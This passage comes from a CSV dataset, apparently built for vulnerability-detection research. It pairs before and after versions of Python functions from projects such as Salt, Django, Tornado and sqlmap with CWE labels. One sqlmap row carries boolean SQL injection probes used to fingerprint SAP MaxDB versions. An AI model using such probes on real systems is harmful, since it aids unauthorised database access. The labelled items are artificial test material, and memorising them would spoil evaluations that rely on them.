            function=plot_confusion_matrix,
            arguments=dict(
                estimator=fitted_estimator,
                X=X,
                y_true=y_true,
                sample_weight=sample_weight,
                normalize=""true"",
                cmap=""Blues"",
            ),
            title=""Normalized confusion matrix"",
        ),
    ]

    # The plot_roc_curve and plot_precision_recall_curve can only be
    # supported for binary classifier
    if len(set(y_true)) == 2:
        classifier_artifacts.extend(
            [
                _SklearnArtifact(
                    name=prefix + ""roc_curve"",
                    function=sklearn.metrics.plot_roc_curve,
                    arguments=dict(
                        estimator=fitted_estimator,
                        X=X,
                        y=y_true,
                        sample_weight=sample_weight,
                    ),
                    title=""ROC curve"",
                ),
                _SklearnArtifact(
                    name=prefix + ""precision_recall_curve"",
                    function=sklearn.metrics.plot_precision_recall_curve,
                    arguments=dict(
                        estimator=fitted_estimator,
                        X=X,
                        y=y_true,
                        sample_weight=sample_weight,
                    ),
                    title=""Precision recall curve"",
                ),
            ]
        )

    return classifier_artifacts"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/migrations/test_state.py,0,"def test_real_apps(self):
        """"""
        Tests that including real apps can resolve dangling FK errors.
        This test relies on the fact that contenttypes is always loaded.
        """"""
        new_apps = Apps()

        class TestModel(models.Model):
            ct = models.ForeignKey(""contenttypes.ContentType"")

            class Meta:
                app_label = ""migrations""
                apps = new_apps

        # If we just stick it into an empty state it should fail
        project_state = ProjectState()
        project_state.add_model_state(ModelState.from_model(TestModel))
        with self.assertRaises(ValueError):
            rendered_state = project_state.render()

        # If we include the real app it should succeed
        project_state = ProjectState(real_apps=[""contenttypes""])
        project_state.add_model_state(ModelState.from_model(TestModel))
        rendered_state = project_state.render()
        self.assertEqual(
            len([x for x in rendered_state.get_models() if x._meta.app_label == ""migrations""]),
            1,
        )",CWE-Unknown,django/django,45c2d1f5d95dfbd6fcb306057e4c7338fb37a1bf,"def test_real_apps(self):
        """"""
        Tests that including real apps can resolve dangling FK errors.
        This test relies on the fact that contenttypes is always loaded.
        """"""
        new_apps = Apps()

        class TestModel(models.Model):
            ct = models.ForeignKey(""contenttypes.ContentType"")
            class Meta:
                app_label = ""migrations""
                apps = new_apps

        # If we just stick it into an empty state it should fail
        project_state = ProjectState()
        project_state.add_model_state(ModelState.from_model(TestModel))
        with self.assertRaises(ValueError):
            rendered_state = project_state.render()

        # If we include the real app it should succeed
        project_state = ProjectState(real_apps=[""contenttypes""])
        project_state.add_model_state(ModelState.from_model(TestModel))
        rendered_state = project_state.render()
        self.assertEqual(
            len([x for x in rendered_state.get_models() if x._meta.app_label == ""migrations""]),
            1,
        )"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/web.py,0,"def clear(self):
        """"""Resets all headers and content for this response.""""""
        self._headers = httputil.HTTPHeaders({
            ""Server"": ""TornadoServer/%s"" % tornado.version,
            ""Content-Type"": ""text/html; charset=UTF-8"",
            ""Date"": httputil.format_timestamp(time.time()),
        })
        self.set_default_headers()
        if (not self.request.supports_http_1_1() and
            getattr(self.request, 'connection', None) and
            not self.request.connection.no_keep_alive):
            conn_header = self.request.headers.get(""Connection"")
            if conn_header and (conn_header.lower() == ""keep-alive""):
                self.set_header(""Connection"", ""Keep-Alive"")
        self._write_buffer = []
        self._status_code = 200
        self._reason = httputil.responses[200]",CWE-Unknown,tornadoweb/tornado,d2e57a336d43efb313b8430ae045f588c47e4e46,"def clear(self):
        """"""Resets all headers and content for this response.""""""
        self._headers = httputil.HTTPHeaders({
            ""Server"": ""TornadoServer/%s"" % tornado.version,
            ""Content-Type"": ""text/html; charset=UTF-8"",
            ""Date"": httputil.format_timestamp(time.gmtime()),
        })
        self.set_default_headers()
        if (not self.request.supports_http_1_1() and
            getattr(self.request, 'connection', None) and
            not self.request.connection.no_keep_alive):
            conn_header = self.request.headers.get(""Connection"")
            if conn_header and (conn_header.lower() == ""keep-alive""):
                self.set_header(""Connection"", ""Keep-Alive"")
        self._write_buffer = []
        self._status_code = 200
        self._reason = httputil.responses[200]"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_match.py,1,"def test_ifelse():
    """"""
    Tests if ifelse returns the correct value.
    """"""
    lookup = [
        ""foo*"",
        {""key1"": ""fooval1"", ""key2"": ""fooval2""},
        ""bar*"",
        {""key1"": ""barval1"", ""key2"": ""barval2""},
    ]
    default = {""key1"": ""default1"", ""key2"": ""default2""}

    # even args
    with pytest.raises(SaltException):
        match.ifelse(""matcher"", ""value"")
    # only default provided
    assert match.ifelse(default, minion_id=""foo03"") == {
        ""key1"": ""default1"",
        ""key2"": ""default2"",
    }
    # match foo
    assert match.ifelse(*lookup, default, minion_id=""foo03"") == {
        ""key1"": ""fooval1"",
        ""key2"": ""fooval2"",
    }
    # match bar
    assert match.ifelse(*lookup, default, minion_id=""bar03"") == {
        ""key1"": ""barval1"",
        ""key2"": ""barval2"",
    }
    # no match
    assert match.ifelse(*lookup, default, minion_id=""baz03"") == {
        ""key1"": ""default1"",
        ""key2"": ""default2"",
    }
    # boolean matchers
    assert (
        match.ifelse(False, ""nuh uhn"", True, ""this is true"", ""default value"")
        == ""this is true""
    )",CWE-703,saltstack/salt,e48410319dfcd7fbb558d024bfe200dba120e38b,"def test_ifelse():
    """"""
    Tests if ifelse returns the correct value.
    """"""
    lookup = [
        ""foo*"",
        {""key1"": ""fooval1"", ""key2"": ""fooval2""},
        ""bar*"",
        {""key1"": ""barval1"", ""key2"": ""barval2""},
    ]
    default = {""key1"": ""default1"", ""key2"": ""default2""}

    # even args
    with pytest.raises(SaltException):
        match.ifelse(""matcher"", ""value"")
    # only default provided
    assert match.ifelse(default, minion_id=""foo03"") == {
        ""key1"": ""default1"",
        ""key2"": ""default2"",
    }
    # match foo
    assert match.ifelse(*lookup, default, minion_id=""foo03"") == {
        ""key1"": ""fooval1"",
        ""key2"": ""fooval2"",
    }
    # match bar
    assert match.ifelse(*lookup, default, minion_id=""bar03"") == {
        ""key1"": ""barval1"",
        ""key2"": ""barval2"",
    }
    # no match
    assert match.ifelse(*lookup, default, minion_id=""baz03"") == {
        ""key1"": ""default1"",
        ""key2"": ""default2"",
    }
    # boolean matchers
    assert (
        match.ifelse(False, ""nuh uhn"", True, ""this is true"", ""default value"")
        == ""this is true""
    )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/maxdb/fingerprint.py,0,"def __versionCheck(self):
        infoMsg = ""executing SAP MaxDB SYSINFO version check""
        logger.info(infoMsg)

        query   = agent.prefixQuery(""/* NoValue */"")
        query   = agent.suffixQuery(query)
        payload = agent.payload(newValue=query)
        result  = Request.queryPage(payload)

        if not result:
            warnMsg = ""unable to perform SAP MaxDB version check""
            logger.warn(warnMsg)

            return None

        minor, major = None, None

        for version in [6, 7]:
            query   = agent.prefixQuery(""AND (SELECT MAJORVERSION FROM SYSINFO.VERSION)=%d"" % version)
            query   = agent.suffixQuery(query)
            payload = agent.payload(newValue=query)
            result  = Request.queryPage(payload)

            if result:
                major = version

        for version in xrange(0, 10):
            query   = agent.prefixQuery(""AND (SELECT MINORVERSION FROM SYSINFO.VERSION)=%d"" % version)
            query   = agent.suffixQuery(query)
            payload = agent.payload(newValue=query)
            result  = Request.queryPage(payload)

            if result:
                minor = version

        if major and minor:
            return ""%s.%s"" % (major, minor)
        else:
            return None",,sqlmapproject/sqlmap,17486e472a3c05cae2ae92d5887a922b7ac7aacf,"def __versionCheck(self):
        infoMsg = ""executing SAP MaxDB SYSINFO version check""
        logger.info(infoMsg)

        query   = agent.prefixQuery(""/* NoValue */"")
        query   = agent.postfixQuery(query)
        payload = agent.payload(newValue=query)
        result  = Request.queryPage(payload)

        if not result:
            warnMsg = ""unable to perform SAP MaxDB version check""
            logger.warn(warnMsg)

            return None

        minor, major = None, None

        for version in [6, 7]:
            query   = agent.prefixQuery(""AND (SELECT MAJORVERSION FROM SYSINFO.VERSION)=%d"" % version)
            query   = agent.postfixQuery(query)
            payload = agent.payload(newValue=query)
            result  = Request.queryPage(payload)

            if result:
                major = version

        for version in xrange(0, 10):
            query   = agent.prefixQuery(""AND (SELECT MINORVERSION FROM SYSINFO.VERSION)=%d"" % version)
            query   = agent.postfixQuery(query)
            payload = agent.payload(newValue=query)
            result  = Request.queryPage(payload)

            if result:
                minor = version

        if major and minor:
            return ""%s.%s"" % (major, minor)
        else:
            return None"
,UNKNOWN,UNKNOWN,tests/unit/utils/test_environment.py,1,"def test_get_module_environment_opts(self):
        '''
        Test for salt.utils.get_module_environment
        Test if __opts__ are visible.
        :return:
        '''
        expectation = {'message': 'Melting hard drives'}
        _globals = {
            '__opts__': {
                'system-environment': {
                    'modules': {
                        'system': {
                            '_': expectation,
                            },
                        },
                    },
                },
                '__file__': '/daemons/loose/modules/system.py',
            }
        assert salt.utils.environment.get_module_environment(_globals) == expectation",CWE-703,saltstack/salt,effaf4a3287b893406535e2dabcbfa53fc2141d0,"def test_get_module_environment_opts(self):
        '''
        Test for salt.utils.get_module_environment
        Test if __opts__ are visible.
        :return:
        '''
        expectation = {'message': 'Melting hard drives'}
        _globals = {'__opts__': {'system-environment': {
            'salt.in.system': expectation}},
                    '__file__': '/daemons/loose/in/system.py'}
        assert salt.utils.environment.get_module_environment(_globals) == expectation"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/aptpkg.py,0,"def _call_apt(args, scope=True, **kwargs):
    """"""
    Call apt* utilities.
    """"""
    cmd = []
    if (
        scope
        and salt.utils.systemd.has_scope(__context__)
        and __salt__[""config.get""](""systemd.scope"", True)
    ):
        cmd.extend(
            [""systemd-run"", ""--scope"", ""--description"", '""{0}""'.format(__name__)]
        )
    cmd.extend(args)

    params = {
        ""output_loglevel"": ""trace"",
        ""python_shell"": False,
        ""env"": salt.utils.environment.get_module_environment(globals()),
    }
    params.update(kwargs)

    return __salt__[""cmd.run_all""](cmd, **params)",,saltstack/salt,30bdb87b155c01c4e2d0f2cb327b474b208a3cfd,"def _call_apt(args, scope=True, **kwargs):
    """"""
    Call apt* utilities.
    """"""
    cmd = []
    if (
        scope
        and salt.utils.systemd.has_scope(__context__)
        and __salt__[""config.get""](""systemd.scope"", True)
    ):
        cmd.extend([""systemd-run"", ""--scope""])
    cmd.extend(args)

    params = {
        ""output_loglevel"": ""trace"",
        ""python_shell"": False,
        ""env"": salt.utils.environment.get_module_environment(globals()),
    }
    params.update(kwargs)

    return __salt__[""cmd.run_all""](cmd, **params)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/convert.py,0,"def htmlunescape(value):
    return value.replace('&amp;', '&').replace('&lt;', '<').replace('&gt;', '>').replace('&quot;', '""').replace('&#39;', ""'"").replace('&nbsp;', ' ')",,sqlmapproject/sqlmap,04986be4b9874b3363db8344bef4a42c3a6fddda,"def htmlunescape(value):
    return value.replace('&amp;', '&').replace('&lt;', '<').replace('&gt;', '>').replace('&quot;', '""').replace('&#39;', ""'"").replace('&nbsp;', ' ')"
,UNKNOWN,UNKNOWN,salt/minion.py,1,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        '''
        log.info(
            '{0} is starting as user \'{1}\''.format(
                self.__class__.__name__,
                getpass.getuser()
            )
        )
        log.debug('Minion ""{0}"" trying to tune in'.format(self.opts['id']))
        self.context = zmq.Context()

        # Prepare the minion event system
        #
        # Start with the publish socket
        id_hash = hashlib.md5(self.opts['id']).hexdigest()
        epub_sock_path = os.path.join(
                self.opts['sock_dir'],
                'minion_event_{0}_pub.ipc'.format(id_hash)
                )
        epull_sock_path = os.path.join(
                self.opts['sock_dir'],
                'minion_event_{0}_pull.ipc'.format(id_hash)
                )
        self.epub_sock = self.context.socket(zmq.PUB)
        if self.opts.get('ipc_mode', '') == 'tcp':
            epub_uri = 'tcp://127.0.0.1:{0}'.format(
                    self.opts['tcp_pub_port']
                    )
            epull_uri = 'tcp://127.0.0.1:{0}'.format(
                    self.opts['tcp_pull_port']
                    )
        else:
            epub_uri = 'ipc://{0}'.format(epub_sock_path)
            epull_uri = 'ipc://{0}'.format(epull_sock_path)

        log.debug(
            '{0} PUB socket URI: {1}'.format(
                self.__class__.__name__, epub_uri
            )
        )
        log.debug(
            '{0} PULL socket URI: {1}'.format(
                self.__class__.__name__, epull_uri
            )
        )

        # Create the pull socket
        self.epull_sock = self.context.socket(zmq.PULL)
        # Bind the event sockets
        self.epub_sock.bind(epub_uri)
        self.epull_sock.bind(epull_uri)
        # Restrict access to the sockets
        if not self.opts.get('ipc_mode', '') == 'tcp':
            os.chmod(
                    epub_sock_path,
                    448
                    )
            os.chmod(
                    epull_sock_path,
                    448
                    )

        self.poller = zmq.Poller()
        self.epoller = zmq.Poller()
        self.socket = self.context.socket(zmq.SUB)
        self.socket.setsockopt(zmq.SUBSCRIBE, '')
        self.socket.setsockopt(zmq.IDENTITY, self.opts['id'])
        if hasattr(zmq, 'RECONNECT_IVL_MAX'):
            self.socket.setsockopt(
                zmq.RECONNECT_IVL_MAX, self.opts['recon_max']
            )
        if hasattr(zmq, 'TCP_KEEPALIVE'):
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE, self.opts['tcp_keepalive']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_IDLE, self.opts['tcp_keepalive_idle']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_CNT, self.opts['tcp_keepalive_cnt']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_INTVL, self.opts['tcp_keepalive_intvl']
            )
        self.socket.connect(self.master_pub)
        self.poller.register(self.socket, zmq.POLLIN)
        self.epoller.register(self.epull_sock, zmq.POLLIN)
        # Send an event to the master that the minion is live
        self._fire_master(
                'Minion {0} started at {1}'.format(
                    self.opts['id'],
                    time.asctime()
                    ),
                'minion_start'
                )

        # Make sure to gracefully handle SIGUSR1
        enable_sigusr1_handler()

        # On first startup execute a state run if configured to do so
        self._state_run()

        while True:
            try:
                socks = dict(self.poller.poll(60000))
                if self.socket in socks and socks[self.socket] == zmq.POLLIN:
                    payload = self.serial.loads(self.socket.recv())
                    self._handle_payload(payload)
                time.sleep(0.05)
                # This next call(multiprocessing.active_children()) is
                # intentional, from docs, ""Calling this has the side affect of
                # “joining” any processes which have already finished.""
                multiprocessing.active_children()
                self.passive_refresh()
                self.cleanup_processes()
                # Check the event system
                if self.epoller.poll(1):
                    try:
                        package = self.epull_sock.recv(zmq.NOBLOCK)
                        self.epub_sock.send(package)
                    except Exception:
                        pass
            except Exception:
                log.critical(traceback.format_exc())",CWE-327,saltstack/salt,2e81ce83a1f6af3bd8cd2e2e53e7586ec381895d,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        '''
        log.info(
            '{0} is starting as user \'{1}\''.format(
                self.__class__.__name__,
                getpass.getuser()
            )
        )
        log.debug('Minion ""{0}"" trying to tune in'.format(self.opts['id']))
        self.context = zmq.Context()

        # Prepare the minion event system
        #
        # Start with the publish socket
        id_hash = hashlib.md5(self.opts['id']).hexdigest()
        epub_sock_path = os.path.join(
                self.opts['sock_dir'],
                'minion_event_{0}_pub.ipc'.format(id_hash)
                )
        epull_sock_path = os.path.join(
                self.opts['sock_dir'],
                'minion_event_{0}_pull.ipc'.format(id_hash)
                )
        self.epub_sock = self.context.socket(zmq.PUB)
        if self.opts.get('ipc_mode', '') == 'tcp':
            epub_uri = 'tcp://127.0.0.1:{0}'.format(
                    self.opts['tcp_pub_port']
                    )
            epull_uri = 'tcp://127.0.0.1:{0}'.format(
                    self.opts['tcp_pull_port']
                    )
        else:
            epub_uri = 'ipc://{0}'.format(epub_sock_path)
            epull_uri = 'ipc://{0}'.format(epull_sock_path)

        log.debug(
            '{0} PUB socket URI: {1}'.format(
                self.__class__.__name__, epub_uri
            )
        )
        log.debug(
            '{0} PULL socket URI: {1}'.format(
                self.__class__.__name__, epull_uri
            )
        )

        # Create the pull socket
        self.epull_sock = self.context.socket(zmq.PULL)
        # Bind the event sockets
        self.epub_sock.bind(epub_uri)
        self.epull_sock.bind(epull_uri)
        # Restrict access to the sockets
        if not self.opts.get('ipc_mode', '') == 'tcp':
            os.chmod(
                    epub_sock_path,
                    448
                    )
            os.chmod(
                    epull_sock_path,
                    448
                    )

        self.poller = zmq.Poller()
        self.epoller = zmq.Poller()
        self.socket = self.context.socket(zmq.SUB)
        self.socket.setsockopt(zmq.SUBSCRIBE, '')
        self.socket.setsockopt(zmq.IDENTITY, self.opts['id'])
        if hasattr(zmq, 'RECONNECT_IVL_MAX'):
            self.socket.setsockopt(
                zmq.RECONNECT_IVL_MAX, self.opts['recon_max']
            )
        if hasattr(zmq, 'TCP_KEEPALIVE'):
            self.socket.setsockopt(zmq.TCP_KEEPALIVE, self.opts['tcp_keepalive'])
            self.socket.setsockopt(zmq.TCP_KEEPALIVE_IDLE, self.opts['tcp_keepalive_idle'])
            self.socket.setsockopt(zmq.TCP_KEEPALIVE_CNT, self.opts['tcp_keepalive_cnt'])
            self.socket.setsockopt(zmq.TCP_KEEPALIVE_INTVL, self.opts['tcp_keepalive_intvl'])
        self.socket.connect(self.master_pub)
        self.poller.register(self.socket, zmq.POLLIN)
        self.epoller.register(self.epull_sock, zmq.POLLIN)
        # Send an event to the master that the minion is live
        self._fire_master(
                'Minion {0} started at {1}'.format(
                    self.opts['id'],
                    time.asctime()
                    ),
                'minion_start'
                )

        # Make sure to gracefully handle SIGUSR1
        enable_sigusr1_handler()

        # On first startup execute a state run if configured to do so
        self._state_run()

        while True:
            try:
                socks = dict(self.poller.poll(60000))
                if self.socket in socks and socks[self.socket] == zmq.POLLIN:
                    payload = self.serial.loads(self.socket.recv())
                    self._handle_payload(payload)
                time.sleep(0.05)
                # This next call(multiprocessing.active_children()) is
                # intentional, from docs, ""Calling this has the side affect of
                # “joining” any processes which have already finished.""
                multiprocessing.active_children()
                self.passive_refresh()
                self.cleanup_processes()
                # Check the event system
                if self.epoller.poll(1):
                    try:
                        package = self.epull_sock.recv(zmq.NOBLOCK)
                        self.epub_sock.send(package)
                    except Exception:
                        pass
            except Exception:
                log.critical(traceback.format_exc())"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/cloudformation.py,0,"def stack_operation(cfn, stack_name, operation):
    '''gets the status of a stack while it is created/updated/deleted'''
    existed = []
    while True:
        try:
            stack = get_stack_facts(cfn, stack_name)
            existed.append('yes')
        except:
            # If the stack previously existed, and now can't be found then it's
            # been deleted successfully.
            if 'yes' in existed or operation == 'DELETE': # stacks may delete fast, look in a few ways.
                ret = get_stack_events(cfn, stack_name)
                ret.update({'changed': True, 'output': 'Stack Deleted'})
                return ret
            else:
                return {'changed': True, 'failed': True, 'output': 'Stack Not Found', 'exception': traceback.format_exc()}
        ret = get_stack_events(cfn, stack_name)
        if not stack:
            if 'yes' in existed or operation == 'DELETE': # stacks may delete fast, look in a few ways.
                ret = get_stack_events(cfn, stack_name)
                ret.update({'changed': True, 'output': 'Stack Deleted'})
                return ret
            else:
                ret.update({'changed': False, 'failed': True, 'output' : 'Stack not found.'})
                return ret
        # it covers ROLLBACK_COMPLETE and UPDATE_ROLLBACK_COMPLETE
        # Possible states: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-cfn-describing-stacks.html#w1ab2c15c17c21c13
        elif stack['StackStatus'].endswith('ROLLBACK_COMPLETE'):
            ret.update({'changed': True, 'failed': True, 'output': 'Problem with %s. Rollback complete' % operation})
            return ret
        # note the ordering of ROLLBACK_COMPLETE and COMPLETE, because otherwise COMPLETE will match both cases.
        elif stack['StackStatus'].endswith('_COMPLETE'):
            ret.update({'changed': True, 'output' : 'Stack %s complete' % operation })
            return ret
        elif stack['StackStatus'].endswith('_ROLLBACK_FAILED'):
            ret.update({'changed': True, 'failed': True, 'output': 'Stack %s rollback failed' % operation})
            return ret
        # note the ordering of ROLLBACK_FAILED and FAILED, because otherwise FAILED will match both cases.
        elif stack['StackStatus'].endswith('_FAILED'):
            ret.update({'changed': True, 'failed': True, 'output': 'Stack %s failed' % operation})
            return ret
        else:
            # this can loop forever :/
            time.sleep(5)
    return {'failed': True, 'output':'Failed for unknown reasons.'}",,ansible/ansible,11346284b113611dd12bc384596b4043bb11de35,"def stack_operation(cfn, stack_name, operation):
    '''gets the status of a stack while it is created/updated/deleted'''
    existed = []
    while True:
        try:
            stack = get_stack_facts(cfn, stack_name)
            existed.append('yes')
        except:
            # If the stack previously existed, and now can't be found then it's
            # been deleted successfully.
            if 'yes' in existed or operation == 'DELETE': # stacks may delete fast, look in a few ways.
                ret = get_stack_events(cfn, stack_name)
                ret.update({'changed': True, 'output': 'Stack Deleted'})
                return ret
            else:
                return {'changed': True, 'failed': True, 'output': 'Stack Not Found', 'exception': traceback.format_exc()}
        ret = get_stack_events(cfn, stack_name)
        if not stack:
            if 'yes' in existed or operation == 'DELETE': # stacks may delete fast, look in a few ways.
                ret = get_stack_events(cfn, stack_name)
                ret.update({'changed': True, 'output': 'Stack Deleted'})
                return ret
            else:
                ret.update({'changed': False, 'failed': True, 'output' : 'Stack not found.'})
                return ret
        elif stack['StackStatus'].endswith('_ROLLBACK_COMPLETE'):
            ret.update({'changed': True, 'failed' :True, 'output': 'Problem with %s. Rollback complete' % operation})
            return ret
        # note the ordering of ROLLBACK_COMPLETE and COMPLETE, because otherwise COMPLETE will match both cases.
        elif stack['StackStatus'].endswith('_COMPLETE'):
            ret.update({'changed': True, 'output' : 'Stack %s complete' % operation })
            return ret
        elif stack['StackStatus'].endswith('_ROLLBACK_FAILED'):
            ret.update({'changed': True, 'failed': True, 'output': 'Stack %s rollback failed' % operation})
            return ret
        # note the ordering of ROLLBACK_FAILED and FAILED, because otherwise FAILED will match both cases.
        elif stack['StackStatus'].endswith('_FAILED'):
            ret.update({'changed': True, 'failed': True, 'output': 'Stack %s failed' % operation})
            return ret
        else:
            # this can loop forever :/
            time.sleep(5)
    return {'failed': True, 'output':'Failed for unknown reasons.'}"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/ui/gtkUi/messages.py,0,"def __init__(self):
        super(Messages,self).__init__()

        # up row buttons
        upbox = gtk.HBox()
        self.filters = {}
        def makeBut(label, signal, initial):
            but = gtk.CheckButton(label)
            but.set_active(initial)
            but.connect(""clicked"", self.typeFilter, signal)
            self.filters[signal] = initial
            but.show()
            upbox.pack_start(but, expand=True, fill=False)
        makeBut(""Vulnerabilities"", ""vulnerability"", True)
        makeBut(""Information"", ""information"", True)
        makeBut(""Debug"", ""debug"", False)
        upbox.show()
        self.pack_start(upbox, expand=False, fill=False)

        # the scrolling lines
        sw_mess = gtk.ScrolledWindow()
        sw_mess.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
        filter = [k for k,v in self.filters.items() if v]
        self.sclines = _LineScroller(filter)
        sw_mess.add(self.sclines)
        sw_mess.show()
        self.pack_start(sw_mess, expand=True, fill=True)

        # settings for the search machinery
        self.key_f = gtk.gdk.keyval_from_name(""f"")
        self.key_g = gtk.gdk.keyval_from_name(""g"")
        self.key_G = gtk.gdk.keyval_from_name(""G"")
        self.key_F3 = gtk.gdk.keyval_from_name(""F3"")
        self.connect(""key-press-event"", self._key)
        self.sclines.connect(""populate-popup"", self._populate_popup)
        self.textbuf = self.sclines.get_buffer()
        self.textbuf.create_tag(""yellow-background"", background=""yellow"")
        self._build_search(None)

        # color handling for the background of the entry
        colormap = self.get_colormap()
        self.bg_normal = colormap.alloc_color(""white"")
        self.bg_notfnd = colormap.alloc_color(""red"")

        self.show()",,andresriancho/w3af,86f942d00bac54d84ec2cffce03f6b3eb61618bc,"def __init__(self):
        super(Messages,self).__init__()

        # up row buttons
        upbox = gtk.HBox()
        self.filters = {}
        def makeBut(label, signal, initial):
            but = gtk.CheckButton(label)
            but.set_active(initial)
            but.connect(""clicked"", self.typeFilter, signal)
            self.filters[signal] = initial
            but.show()
            upbox.pack_start(but, expand=True, fill=False)
        makeBut(""Vulnerabilities"", ""vulnerability"", True)
        makeBut(""Information"", ""information"", True)
        makeBut(""Debug"", ""debug"", False)
        upbox.show()
        self.pack_start(upbox, expand=False, fill=False)

        # the scrolling lines
        sw_mess = gtk.ScrolledWindow()
        sw_mess.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
        filter = [k for k,v in self.filters.items() if v]
        self.sclines = _LineScroller(filter)
        sw_mess.add(self.sclines)
        sw_mess.show()
        self.pack_start(sw_mess, expand=True, fill=True)

        # settings for the search machinery
        self.key_f = gtk.gdk.keyval_from_name(""f"")
        self.key_g = gtk.gdk.keyval_from_name(""g"")
        self.key_G = gtk.gdk.keyval_from_name(""G"")
        self.key_F3 = gtk.gdk.keyval_from_name(""F3"")
        self.connect(""key-press-event"", self._key)
        self.sclines.connect(""populate-popup"", self._populate_popup)
        self.textbuf = self.sclines.get_buffer()
        self.textbuf.create_tag(""yellow-background"", background=""yellow"")
        self._build_search()

        # color handling for the background of the entry
        colormap = self.get_colormap()
        self.bg_normal = colormap.alloc_color(""white"")
        self.bg_notfnd = colormap.alloc_color(""red"")

        self.show()"
,UNKNOWN,UNKNOWN,tests/pytests/unit/utils/test_thin.py,1,"def test_get_tops_python(version):
    """"""
    Tests 'distro' is only included when targeting
    python 3 in get_tops_python
    """"""
    python3 = False
    if tuple(version) >= (3, 0):
        python3 = True

    mods = [""jinja2""]
    if python3:
        mods.append(""distro"")

    popen_ret = tuple(salt.utils.stringutils.to_bytes(x) for x in ("""", """"))
    mock_popen = _mock_popen(return_value=popen_ret)
    patch_proc = patch(""salt.utils.thin.subprocess.Popen"", mock_popen)
    patch_which = patch(""salt.utils.path.which"", return_value=True)

    with patch_proc, patch_which:
        salt.utils.thin.get_tops_python(""python2"", ext_py_ver=version)
        cmds = [x[0][0] for x in mock_popen.call_args_list]
        assert [x for x in cmds if ""jinja2"" in x[2]]
        if python3:
            assert [x for x in cmds if ""distro"" in x[2]]
        else:
            assert not [x for x in cmds if ""distro"" in x[2]]",CWE-703,saltstack/salt,67487a20c3e6d533580a08fbb70eb0100a8ed4cf,"def test_get_tops_python(version):
    """"""
    Tests 'distro' is only included when targeting
    python 3 in get_tops_python
    """"""
    python3 = False
    if tuple(version) >= (3, 0):
        python3 = True

    mods = [""jinja2""]
    if python3:
        mods.append(""distro"")

    popen_ret = tuple(salt.utils.stringutils.to_bytes(x) for x in ("""", """"))
    mock_popen = _mock_popen(return_value=popen_ret)
    patch_proc = patch(""salt.utils.thin.subprocess.Popen"", mock_popen)
    patch_which = patch(""salt.utils.path.which"", return_value=True)

    with patch_proc, patch_which:
        salt.utils.thin.get_tops_python(""python2"", ext_py_ver=version)
        cmds = [x[0][0] for x in mock_popen.call_args_list]
        assert [x for x in cmds if ""jinja2"" in x]
        if python3:
            assert [x for x in cmds if ""distro"" in x]
        else:
            assert not [x for x in cmds if ""distro"" in x]"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/store/model_registry/test_sqlalchemy_store.py,0,"def test_list_registered_model(self):
        self._rm_maker(""A"")
        registered_models = self.store.list_registered_models(max_results=10, page_token=None)
        self.assertEqual(len(registered_models), 1)
        self.assertEqual(registered_models[0].name, ""A"")
        self.assertIsInstance(registered_models[0], RegisteredModel)

        self._rm_maker(""B"")
        self.assertEqual(set(self._list_registered_models()), {""A"", ""B""})

        self._rm_maker(""BB"")
        self._rm_maker(""BA"")
        self._rm_maker(""AB"")
        self._rm_maker(""BBC"")
        self.assertEqual(set(self._list_registered_models()), {""A"", ""B"", ""BB"", ""BA"", ""AB"", ""BBC""})

        # list should not return deleted models
        self.store.delete_registered_model(name=""BA"")
        self.store.delete_registered_model(name=""B"")
        self.assertEqual(set(self._list_registered_models()), {""A"", ""BB"", ""AB"", ""BBC""})",,mlflow/mlflow,eb273d656fa2778cf6c98031fd33c9ee85bec304,"def test_list_registered_model(self):
        self._rm_maker(""A"")
        registered_models = self.store.list_registered_models(max_results=10, page_token=None)
        self.assertEqual(len(registered_models), 1)
        self.assertEqual(registered_models[0].name, ""A"")
        self.assertIsInstance(registered_models[0], RegisteredModel)

        self._rm_maker(""B"")
        self.assertEqual(set(self._list_registered_models()), set([""A"", ""B""]))

        self._rm_maker(""BB"")
        self._rm_maker(""BA"")
        self._rm_maker(""AB"")
        self._rm_maker(""BBC"")
        self.assertEqual(
            set(self._list_registered_models()), set([""A"", ""B"", ""BB"", ""BA"", ""AB"", ""BBC""])
        )

        # list should not return deleted models
        self.store.delete_registered_model(name=""BA"")
        self.store.delete_registered_model(name=""B"")
        self.assertEqual(set(self._list_registered_models()), set([""A"", ""BB"", ""AB"", ""BBC""]))"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,"def test_set_current_user(self):
        # Ensure that current_user can be assigned to normally for apps
        # that want to forgo the lazy get_current_user property
        response = self.fetch('/')
        self.assertEqual(response.body, b'Hello Ben')",CWE-Unknown,tornadoweb/tornado,e4e93e9b493028f5848b9d7929087a335d615cef,"def test_set_current_user(self):
        # Ensure that current_user can be assigned to normally for apps
        # that want to forgo the lazy get_current_user property
        response = self.fetch('/')
        self.assertEqual(response.body, b'Hello Ben')"
,UNKNOWN,UNKNOWN,providers/tests/openlineage/plugins/test_utils.py,1,"def test_serialize_timetable():
    from airflow.providers.common.compat.assets import AssetAlias, AssetAll, AssetAny
    from airflow.timetables.simple import AssetTriggeredTimetable

    asset = AssetAny(
        Asset(""2""),
        AssetAlias(""example-alias""),
        Asset(""3""),
        AssetAll(AssetAlias(""this-should-not-be-seen""), Asset(""4"")),
    )
    dag = MagicMock()
    dag.timetable = AssetTriggeredTimetable(asset)
    dag_info = DagInfo(dag)

    assert dag_info.timetable == {
        ""asset_condition"": {
